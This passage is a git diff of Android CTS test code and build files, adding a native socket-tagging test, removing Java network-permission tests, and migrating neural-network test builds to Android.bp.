+file:platform/packages/modules/Connectivity:master:/OWNERS_core_networking_xts
diff --git a/tests/tests/net/native/Android.bp b/tests/tests/net/native/Android.bp
new file mode 100644
index 0000000..072e380
--- /dev/null
+++ b/tests/tests/net/native/Android.bp
@@ -0,0 +1,63 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsNativeNetPlatformTestCases",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: [
+        "src/TagSocketTest.cpp",
+    ],
+
+    header_libs: [
+        "bpf_headers",
+    ],
+
+    static_libs: [
+        "libbase",
+        "libnettestutils",
+    ],
+
+    shared_libs: [
+        "libandroid",
+        "libbinder",
+        "liblog",
+        "libutils",
+    ],
+
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+}
diff --git a/tests/tests/net/native/AndroidTest.xml b/tests/tests/net/native/AndroidTest.xml
new file mode 100644
index 0000000..8dde2cd
--- /dev/null
+++ b/tests/tests/net/native/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Soong does not autogenerate test config files for tests tagged with "cts". -->
+<configuration description="Config for CTS Native Network Platform test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeNetPlatformTestCases->/data/local/tmp/CtsNativeNetPlatformTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeNetPlatformTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/native/src/TagSocketTest.cpp b/tests/tests/net/native/src/TagSocketTest.cpp
new file mode 100644
index 0000000..253dc5a
--- /dev/null
+++ b/tests/tests/net/native/src/TagSocketTest.cpp
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless requied by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#include <android-base/format.h>
+#include <android/multinetwork.h>
+#include <binder/IServiceManager.h>
+#include <bpf/BpfUtils.h>
+#include <gtest/gtest.h>
+#include <nettestutils/DumpService.h>
+
+using android::IBinder;
+using android::IServiceManager;
+using android::bpf::getSocketCookie;
+using android::bpf::NONEXISTENT_COOKIE;
+using android::sp;
+using android::String16;
+using android::Vector;
+
+class TagSocketTest : public ::testing::Test {
+ public:
+  TagSocketTest() {
+    sp<IServiceManager> sm = android::defaultServiceManager();
+    mBinder = sm->getService(String16("connectivity"));
+  }
+
+  void SetUp() override { ASSERT_NE(nullptr, mBinder.get()); }
+
+ protected:
+  sp<IBinder> mBinder;
+};
+
+namespace {
+
+constexpr uid_t TEST_UID = 10086;
+constexpr uint32_t TEST_TAG = 42;
+
+[[maybe_unused]] void dumpBpfMaps(const sp<IBinder>& binder,
+                                  std::vector<std::string>& output) {
+  Vector<String16> vec;
+  android::status_t ret = dumpService(binder, {"trafficcontroller"}, output);
+  ASSERT_EQ(android::OK, ret)
+      << "Error dumping service: " << android::statusToString(ret);
+}
+
+[[maybe_unused]] bool socketIsTagged(const sp<IBinder>& binder, uint64_t cookie,
+                                     uid_t uid, uint32_t tag) {
+  std::string match =
+      fmt::format("cookie={} tag={:#x} uid={}", cookie, tag, uid);
+  std::vector<std::string> lines = {};
+  dumpBpfMaps(binder, lines);
+  for (const auto& line : lines) {
+    if (std::string::npos != line.find(match)) return true;
+  }
+  return false;
+}
+
+[[maybe_unused]] bool socketIsNotTagged(const sp<IBinder>& binder,
+                                        uint64_t cookie) {
+  std::string match = fmt::format("cookie={}", cookie);
+  std::vector<std::string> lines = {};
+  dumpBpfMaps(binder, lines);
+  for (const auto& line : lines) {
+    if (std::string::npos != line.find(match)) return false;
+  }
+  return true;
+}
+
+bool waitSocketIsNotTagged(const sp<IBinder>& binder, uint64_t cookie,
+                           int maxTries) {
+    for (int i = 0; i < maxTries; ++i) {
+        if (socketIsNotTagged(binder, cookie)) return true;
+        usleep(50 * 1000);
+    }
+    return false;
+}
+
+}  // namespace
+
+TEST_F(TagSocketTest, TagSocket) {
+  int sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
+  ASSERT_LE(0, sock);
+  uint64_t cookie = getSocketCookie(sock);
+  EXPECT_NE(NONEXISTENT_COOKIE, cookie);
+
+  EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+  EXPECT_EQ(0, android_tag_socket(sock, TEST_TAG));
+  EXPECT_TRUE(socketIsTagged(mBinder, cookie, geteuid(), TEST_TAG));
+  EXPECT_EQ(0, android_untag_socket(sock));
+  EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+  EXPECT_EQ(0, android_tag_socket_with_uid(sock, TEST_TAG, TEST_UID));
+  EXPECT_TRUE(socketIsTagged(mBinder, cookie, TEST_UID, TEST_TAG));
+  EXPECT_EQ(0, android_untag_socket(sock));
+  EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+  EXPECT_EQ(0, android_tag_socket(sock, TEST_TAG));
+  EXPECT_TRUE(socketIsTagged(mBinder, cookie, geteuid(), TEST_TAG));
+  EXPECT_EQ(0, close(sock));
+  EXPECT_TRUE(waitSocketIsNotTagged(mBinder, cookie, 100 /* maxTries */));
+}
+
+TEST_F(TagSocketTest, TagSocketErrors) {
+  int sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
+  ASSERT_LE(0, sock);
+  uint64_t cookie = getSocketCookie(sock);
+  EXPECT_NE(NONEXISTENT_COOKIE, cookie);
+
+  // Untag an untagged socket.
+  EXPECT_EQ(-ENOENT, android_untag_socket(sock));
+  EXPECT_TRUE(socketIsNotTagged(mBinder, cookie));
+
+  // Untag a closed socket.
+  close(sock);
+  EXPECT_EQ(-EBADF, android_untag_socket(sock));
+}
diff --git a/tests/tests/netpermission/OWNERS b/tests/tests/netpermission/OWNERS
deleted file mode 100644
index 370c20c..0000000
--- a/tests/tests/netpermission/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-# Bug component: 31808
-include ../net/OWNERS
diff --git a/tests/tests/netpermission/internetpermission/Android.bp b/tests/tests/netpermission/internetpermission/Android.bp
deleted file mode 100644
index 37ad7cb..0000000
--- a/tests/tests/netpermission/internetpermission/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
-    name: "CtsNetTestCasesInternetPermission",
-    defaults: ["cts_defaults"],
-
-    srcs: ["src/**/*.java"],
-
-    static_libs: ["ctstestrunner-axt"],
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-
-}
diff --git a/tests/tests/netpermission/internetpermission/AndroidManifest.xml b/tests/tests/netpermission/internetpermission/AndroidManifest.xml
deleted file mode 100644
index 45ef5bd..0000000
--- a/tests/tests/netpermission/internetpermission/AndroidManifest.xml
+++ /dev/null
@@ -1,50 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="android.networkpermission.internetpermission.cts">
-
-    <application>
-        <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.networkpermission.internetpermission.cts.InternetPermissionTest"
-             android:label="InternetPermissionTest"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-    </application>
-
-    <!--
-                The CTS stubs package cannot be used as the target application here,
-                since that requires many permissions to be set. Instead, specify this
-                package itself as the target and include any stub activities needed.
-
-                This test package uses the default InstrumentationTestRunner, because
-                the InstrumentationCtsTestRunner is only available in the stubs
-                package. That runner cannot be added to this package either, since it
-                relies on hidden APIs.
-            -->
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-         android:targetPackage="android.networkpermission.internetpermission.cts"
-         android:label="CTS tests for INTERNET permissions">
-        <meta-data android:name="listener"
-             android:value="com.android.cts.runner.CtsTestRunListener"/>
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/netpermission/internetpermission/AndroidTest.xml b/tests/tests/netpermission/internetpermission/AndroidTest.xml
deleted file mode 100644
index 3b23e72..0000000
--- a/tests/tests/netpermission/internetpermission/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS internet permission test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsNetTestCasesInternetPermission.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.networkpermission.internetpermission.cts" />
-        <option name="runtime-hint" value="10s" />
-    </test>
-</configuration>
diff --git a/tests/tests/netpermission/internetpermission/TEST_MAPPING b/tests/tests/netpermission/internetpermission/TEST_MAPPING
deleted file mode 100644
index 60877f4..0000000
--- a/tests/tests/netpermission/internetpermission/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsNetTestCasesInternetPermission"
-    }
-  ]
-}
diff --git a/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java b/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java
deleted file mode 100644
index 2b7c8b5..0000000
--- a/tests/tests/netpermission/internetpermission/src/android/net/cts/network/permission/InternetPermissionTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts.networkpermission.internetpermission;
-
-import static org.junit.Assert.fail;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.Socket;
-/**
-* Test that protected android.net.ConnectivityManager methods cannot be called without
-* permissions
-*/
-@RunWith(AndroidJUnit4.class)
-public class InternetPermissionTest {
-
-    /**
-     * Verify that create inet socket failed because of the permission is missing.
-     * <p>Tests Permission:
-     *   {@link android.Manifest.permission#INTERNET}.
-     */
-    @SmallTest
-    @Test
-    public void testCreateSocket() throws Exception {
-        try {
-            Socket socket = new Socket("example.com", 80);
-            fail("Ceate inet socket did not throw SecurityException as expected");
-        } catch (SecurityException e) {
-            // expected
-        }
-    }
-}
diff --git a/tests/tests/netpermission/updatestatspermission/Android.bp b/tests/tests/netpermission/updatestatspermission/Android.bp
deleted file mode 100644
index 7a24886..0000000
--- a/tests/tests/netpermission/updatestatspermission/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-android_test {
-    name: "CtsNetTestCasesUpdateStatsPermission",
-    defaults: ["cts_defaults"],
-
-    srcs: ["src/**/*.java"],
-
-    static_libs: ["ctstestrunner-axt"],
-
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-
-}
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml b/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
deleted file mode 100644
index 6babe8f..0000000
--- a/tests/tests/netpermission/updatestatspermission/AndroidManifest.xml
+++ /dev/null
@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="android.networkpermission.updatestatspermission.cts">
-
-    <!--
-                 This CTS test is designed to test that an unprivileged app cannot get the
-                 UPDATE_DEVICE_STATS permission even if it specified it in the manifest. the
-                 UPDATE_DEVICE_STATS permission is a signature|privileged permission that CTS
-                 test cannot have.
-            -->
-    <uses-permission android:name="android.permission.UPDATE_DEVICE_STATS"/>
-    <uses-permission android:name="android.permission.INTERNET"/>
-    <application>
-        <uses-library android:name="android.test.runner"/>
-        <activity android:name="android.networkpermission.updatestatspermission.cts.UpdateStatsPermissionTest"
-             android:label="UpdateStatsPermissionTest"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
-            </intent-filter>
-        </activity>
-    </application>
-
-    <!--
-                The CTS stubs package cannot be used as the target application here,
-                since that requires many permissions to be set. Instead, specify this
-                package itself as the target and include any stub activities needed.
-
-                This test package uses the default InstrumentationTestRunner, because
-                the InstrumentationCtsTestRunner is only available in the stubs
-                package. That runner cannot be added to this package either, since it
-                relies on hidden APIs.
-            -->
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-         android:targetPackage="android.networkpermission.updatestatspermission.cts"
-         android:label="CTS tests for UPDATE_DEVICE_STATS permissions">
-        <meta-data android:name="listener"
-             android:value="com.android.cts.runner.CtsTestRunListener"/>
-    </instrumentation>
-
-</manifest>
diff --git a/tests/tests/netpermission/updatestatspermission/AndroidTest.xml b/tests/tests/netpermission/updatestatspermission/AndroidTest.xml
deleted file mode 100644
index c47cad9..0000000
--- a/tests/tests/netpermission/updatestatspermission/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS update stats permission test cases">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="networking" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <option name="not-shardable" value="true" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsNetTestCasesUpdateStatsPermission.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.networkpermission.updatestatspermission.cts" />
-        <option name="runtime-hint" value="10s" />
-    </test>
-</configuration>
diff --git a/tests/tests/netpermission/updatestatspermission/TEST_MAPPING b/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
deleted file mode 100644
index 6d6dfe0..0000000
--- a/tests/tests/netpermission/updatestatspermission/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit": [
-    {
-      "name": "CtsNetTestCasesUpdateStatsPermission"
-    }
-  ]
-}
diff --git a/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java b/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java
deleted file mode 100644
index bea843c..0000000
--- a/tests/tests/netpermission/updatestatspermission/src/android/net/cts/network/permission/UpdateStatsPermissionTest.java
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts.networkpermission.updatestatspermission;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.net.TrafficStats;
-import android.os.Process;
-
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.OutputStream;
-import java.net.Socket;
-
-/**
-* Test that protected android.net.ConnectivityManager methods cannot be called without
-* permissions
-*/
-@RunWith(AndroidJUnit4.class)
-public class UpdateStatsPermissionTest {
-
-    /**
-     * Verify that setCounterSet for a different uid failed because of the permission cannot be
-     * granted to a third-party app.
-     * <p>Tests Permission:
-     *   {@link android.Manifest.permission#UPDATE_DEVICE_STATS}.
-     */
-    @SmallTest
-    @Test
-    public void testUpdateDeviceStatsPermission() throws Exception {
-
-        // Set the current thread uid to a another uid. It should silently fail when tagging the
-        // socket since the current process doesn't have UPDATE_DEVICE_STATS permission.
-        TrafficStats.setThreadStatsTag(0);
-        TrafficStats.setThreadStatsUid(/*root uid*/ 0);
-        Socket socket = new Socket("example.com", 80);
-        TrafficStats.tagSocket(socket);
-
-        // Transfer 1K of data to a remote host and verify the stats is still billed to the current
-        // uid.
-        final int byteCount = 1024;
-
-        socket.setTcpNoDelay(true);
-        socket.setSoLinger(true, 0);
-        OutputStream out = socket.getOutputStream();
-        byte[] buf = new byte[byteCount];
-        final long uidTxBytesBefore = TrafficStats.getUidTxBytes(Process.myUid());
-        out.write(buf);
-        out.close();
-        socket.close();
-        long uidTxBytesAfter = TrafficStats.getUidTxBytes(Process.myUid());
-        long uidTxDeltaBytes = uidTxBytesAfter - uidTxBytesBefore;
-        assertTrue("uidtxb: " + uidTxBytesBefore + " -> " + uidTxBytesAfter + " delta="
-                + uidTxDeltaBytes + " >= " + byteCount, uidTxDeltaBytes >= byteCount);
-    }
-
-    static final int UNSUPPORTED = -1;
-
-    /**
-     * Verify that get TrafficStats of a different uid failed because of the permission is not
-     * granted to a third-party app.
-     * <p>Tests Permission:
-     *   {@link android.Manifest.permission#UPDATE_DEVICE_STATS}.
-     */
-    @SmallTest
-    @Test
-    public void testGetStatsOfOtherUid() throws Exception {
-        // Test get stats of another uid failed since the current process does not have permission
-        assertEquals(UNSUPPORTED, TrafficStats.getUidRxBytes(/*root uid*/ 0));
-    }
-}
diff --git a/tests/tests/neuralnetworks/Android.bp b/tests/tests/neuralnetworks/Android.bp
new file mode 100644
index 0000000..00298e6
--- /dev/null
+++ b/tests/tests/neuralnetworks/Android.bp
@@ -0,0 +1,71 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsNNAPITestCases",
+    host_supported: true,
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    whole_static_libs: ["CtsNNAPITests_static"],
+    shared_libs: [
+        "liblog",
+        "libneuralnetworks",
+    ],
+    test_suites: [
+        "general-tests",
+    ],
+    target: {
+        android: {
+            shared_libs: [
+                "libandroid",
+                "libvulkan",
+            ],
+            static_libs: [
+                "libbase_ndk",
+                "libgtest_ndk_c++",
+                "libgmock_ndk",
+            ],
+            // Tag this module as a cts test artifact
+            test_suites: [
+                "cts",
+                "mts",
+                "mts-neuralnetworks",
+            ],
+            test_config: "AndroidTestDevice.xml",
+        },
+        host: {
+            static_libs: [
+                "libbase",
+                "libgmock",
+                "libgtest",
+            ],
+            test_config: "AndroidTestHost.xml",
+        },
+    },
+    sdk_version: "current",
+    stl: "c++_static",
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
deleted file mode 100644
index d8b6ee3..0000000
--- a/tests/tests/neuralnetworks/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-nnapi_cts_dir := $(call my-dir)
-
-# Build the actual CTS module with the static lib above.
-# This is necessary for the build system to pickup the AndroidTest.xml.
-LOCAL_PATH:= $(nnapi_cts_dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNNAPITestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_WHOLE_STATIC_LIBRARIES := CtsNNAPITests_static
-
-LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks libvulkan
-LOCAL_STATIC_LIBRARIES := libbase_ndk libgtest_ndk_c++ libgmock_ndk
-LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
-
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_MIN_SDK_VERSION := 30
-
-include $(BUILD_CTS_EXECUTABLE)
-
-include $(nnapi_cts_dir)/benchmark/Android.mk
diff --git a/tests/tests/neuralnetworks/AndroidTest.xml b/tests/tests/neuralnetworks/AndroidTestDevice.xml
similarity index 100%
rename from tests/tests/neuralnetworks/AndroidTest.xml
rename to tests/tests/neuralnetworks/AndroidTestDevice.xml
diff --git a/tests/tests/neuralnetworks/AndroidTestHost.xml b/tests/tests/neuralnetworks/AndroidTestHost.xml
new file mode 100644
index 0000000..60a34fa
--- /dev/null
+++ b/tests/tests/neuralnetworks/AndroidTestHost.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Runs CtsNNAPITestCases.">
+    <test class="com.android.tradefed.testtype.HostGTest" >
+        <option name="module-name" value="CtsNNAPITestCases" />
+        <option name="native-test-timeout" value="10m" />
+    </test>
+</configuration>
+
diff --git a/tests/tests/neuralnetworks/OWNERS b/tests/tests/neuralnetworks/OWNERS
index 2e13fd4..e44f574 100644
--- a/tests/tests/neuralnetworks/OWNERS
+++ b/tests/tests/neuralnetworks/OWNERS
@@ -1,12 +1,2 @@
 # Bug component: 195575
-butlermichael@google.com
-dgross@google.com
-hguihot@google.com
-jeanluc@google.com
-levp@google.com
-miaowang@google.com
-mks@google.com
-pszczepaniak@google.com
-slavash@google.com
-vddang@google.com
-xusongw@google.com
+include platform/packages/modules/NeuralNetworks:/NNAPI_OWNERS
diff --git a/tests/tests/neuralnetworks/benchmark/Android.bp b/tests/tests/neuralnetworks/benchmark/Android.bp
new file mode 100644
index 0000000..60fb0eb
--- /dev/null
+++ b/tests/tests/neuralnetworks/benchmark/Android.bp
@@ -0,0 +1,43 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsNNAPIBenchmarkTestCases",
+    defaults: ["cts_defaults"],
+    // Include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    // Tag this module as a cts test artifact
